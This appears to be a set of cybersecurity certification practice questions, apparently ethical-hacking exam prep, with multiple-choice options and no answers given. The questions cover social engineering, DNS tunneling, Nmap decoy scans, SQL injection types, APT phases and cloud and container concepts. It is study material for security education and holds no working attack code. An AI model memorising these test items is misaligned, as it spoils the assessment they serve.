96. Ralph, a professional hacker, targeted Jane, who had recently bought new systems forher company. After a few days, Ralph contacted Jane while masquerading as alegitimate customer support executive, informing that her systems need to be servicedfor proper functioning and that customer support will send a computer technician.Jane promptly replied positively. Ralph entered Jane’s company using this opportunityand gathered sensitive information by scanning terminals for passwords, searching forimportant documents in desks, and rummaging bins.What is the type of attack technique Ralph used on Jane?

Dumpster diving

Eavesdropping

Shoulder surfing

Impersonation

97. Susan, a software developer, wants her web API to update other applications with thelatest information. For this purpose, she uses a user-defined HTTP callback or push APIsthat are raised based on trigger events; when invoked, this feature supplies data toother applications so that users can instantly receive real-time information.Which of the following techniques is employed by Susan?

SOAP API

REST API

Web shells

Webhooks

98. David is a security professional working in an organization, and he is implementing avulnerability management program in the organization to evaluate and control therisks and vulnerabilities in its IT infrastructure. He is currently executing the processof applying fixes on vulnerable systems to reduce the impact and severity ofvulnerabilities.Which phase of the vulnerability-management life cycle is David currently in?

Verification

Risk assessment

Remediation

Vulnerability scan

99. Annie, a cloud security engineer, uses the Docker architecture to employ aclient/server model in the application she is working on. She utilizes a component thatcan process API requests and handle various Docker objects, such as containers,volumes, images, and networks.What is the component of the Docker architecture used by Annie in the abovescenario?

Docker registries

Docker client

Docker daemon

Docker objects

100. Widespread fraud at Enron, WorldCom, and Tyco led to the creation of a law that wasdesigned to improve the accuracy and accountability of corporate disclosures. It coversaccounting firms and third parties that provide financial services to someorganizations and came into effect in 2002. This law is known by what acronym?

PCI DSS

HIPAA

SOX

FedRAMP

101. Sam is working as a system administrator in an organization. He captured the principalcharacteristics of a vulnerability and produced a numerical score to reflect its severityusing CVSS v3.0 to properly assess and prioritize the organization’s vulnerabilitymanagement processes. The base score that Sam obtained after performing CVSSrating was 4.0.What is the CVSS severity level of the vulnerability discovered by Sam in the abovescenario?

Low

Medium

High

Critical

103. Robin, an attacker, is attempting to bypass the firewalls of an organization throughthe DNS tunneling method in order to exfiltrate data. He is using the NSTX tool forbypassing the firewalls.On which of the following ports should Robin run the NSTX tool?

Port 23

Port 53

Port 80

Port 50

104. Emily, an extrovert obsessed with social media, posts a large amount of privateinformation, photographs, and location tags of recently visited places. Realizing this,James, a professional hacker, targets Emily and her acquaintances, conducts a locationsearch to detect their geolocation by using an automated tool, and gathersinformation to perform other sophisticated attacks.What is the tool employed by James in the above scenario?

HULK

Hootsuite

ophcrack

VisualRoute

105. Abel, a cloud architect, uses container technology to deploy applications/softwareincluding all its dependencies, such as libraries and configuration files, binaries, andother resources that run independently from other processes in the cloudenvironment. For the containerization of applications, he follows the five-tiercontainer technology architecture. Currently, Abel is verifying and validating imagecontents, signing images, and sending them to the registries.Which of the following tiers of the container technology architecture is Abel currentlyworking in?

Tier-3: Registries

Tier-4: Orchestrators

Tier-2: Testing and accreditation systems

Tier-1: Developer machines

107. Henry is a cyber security specialist hired by BlackEye – Cyber Security Solutions. He wastasked with discovering the operating system (OS) of a host. He used the Unicornscantool to discover the OS of the target system. As a result, he obtained a TTL value, whichindicates that the target system is running a Windows OS.Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

128

255

138

64

110. There are multiple cloud deployment options depending on how isolated a customer'sresources are from those of other customers. Shared environments share the costsand allow each customer to enjoy lower operations expenses. One solution is for acustomer to join with a group of users or organizations to share a cloud environment.What is this cloud deployment option called?

Private

Hybrid

Community

Public

111. You are a penetration tester and are about to perform a scan on a specific server. Theagreement that you signed with the client contains the following specific condition forthe scan: "The attacker must scan every port on the server several times using a set ofspoofed source IP addresses." Suppose that you are using Nmap to perform this scan.What flag will you use to satisfy this requirement?

The -g flag

The -f flag

The -D flag

The -A flag

113. Bobby, an attacker, targeted a user and decided to hijack and intercept all theirwireless communications. He installed a fake communication tower between twoauthentic endpoints to mislead the victim. Bobby used this virtual tower to interruptthe data transmission between the user and real tower, attempting to hijack an activesession. Upon receiving the user’s request, Bobby manipulated the traffic with thevirtual tower and redirected the victim to a malicious website.What is the attack performed by Bobby in the above scenario?

KRACK attack

Jamming signal attack

aLTEr attack

Wardriving

115. Bob, an attacker, has managed to access a target IoT device. He employed an onlinetool to gather information related to the model of the IoT device and the certificationsgranted to it.Which of the following tools did Bob employ to gather the above information?

Google image search

search.com

EarthExplorer

FCC ID search

116. At what stage of the cyber kill chain theory model does data exfiltration occur?

Command and control

Weaponization

Actions on objectives

Installation

117. What is the file that determines the basic configuration (specifically activities, services,broadcast receivers, etc.) in an Android application?

AndroidManifest.xml

APK.info

classes.dex

resources.asrc

118. A friend of yours tells you that he downloaded and executed a file that was sent to himby a coworker. Since the file did nothing when executed, he asks you for help becausehe suspects that he may have installed a trojan on his computer.What tests would you perform to determine whether his computer is infected?

Upload the file to VirusTotal.

You do not check; rather, you immediately restore a previous snapshot of the operating
system.

Use ExifTool and check for malicious content.

Use netstat and check for outgoing connections to strange IP addresses or domains.

119. Harry, a professional hacker, targets the IT infrastructure of an organization. Afterpreparing for the attack, he attempts to enter the target network using techniquessuch as sending spear-phishing emails and exploiting vulnerabilities on publiclyavailable servers. Using these techniques, he successfully deployed malware on thetarget system to establish an outbound connection.What is the APT lifecycle phase that Harry is currently executing?

Initial intrusion

Cleanup

Persistence

Preparation

120. In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what rangedoes medium vulnerability fall in?

4.0–6.9

4.0–6.0

3.0–6.9

3.9–6.9

121. Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wantsto test the response time of a true or false response and wants to use a secondcommand to determine whether the database will return true or false results for userIDs.Which two SQL injection types would give her the results she is looking for?

Time-based and union-based

Time-based and boolean-based

Out of band and boolean-based

Union-based and error-based

122. John, a professional hacker, performs a network attack on a renowned organizationand gains unauthorized access to the target network. He remains in the networkwithout being detected for a long time and obtains sensitive information withoutsabotaging the organization.Which of the following attack techniques is used by John?

Advanced persistent threat

Diversion theft

Spear-phishing sites

Insider threat

123. During the enumeration phase, Lawrence performs banner grabbing to obtaininformation such as OS details and versions of services running. The service that heenumerated runs directly on TCP port 445.Which of the following services is enumerated by Lawrence in this scenario?

Server Message Block (SMB)

Remote procedure call (RPC)

Network File System (NFS)

Telnet

124. SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which maybypass authentication and allow attackers to access and/or modify data attached to aweb application.Which of the following SQLi types leverages a database server’s ability to make DNSrequests to pass data to an attacker?

In-band SQLi

Time-based blind SQLi

Out-of-band SQLi

Union-based SQLi

125. Security administrator John Smith has noticed abnormal amounts of traffic comingfrom local computers at night. Upon reviewing, he finds that user data have beenexfiltrated by an attacker. AV tools are unable to find any malicious software, and theIDS/IPS has not reported on any non-whitelisted programs.What type of malware did the attacker use to bypass the company’s applicationwhitelisting?

Phishing malware

Zero-day malware

Logic bomb malware

File-less malware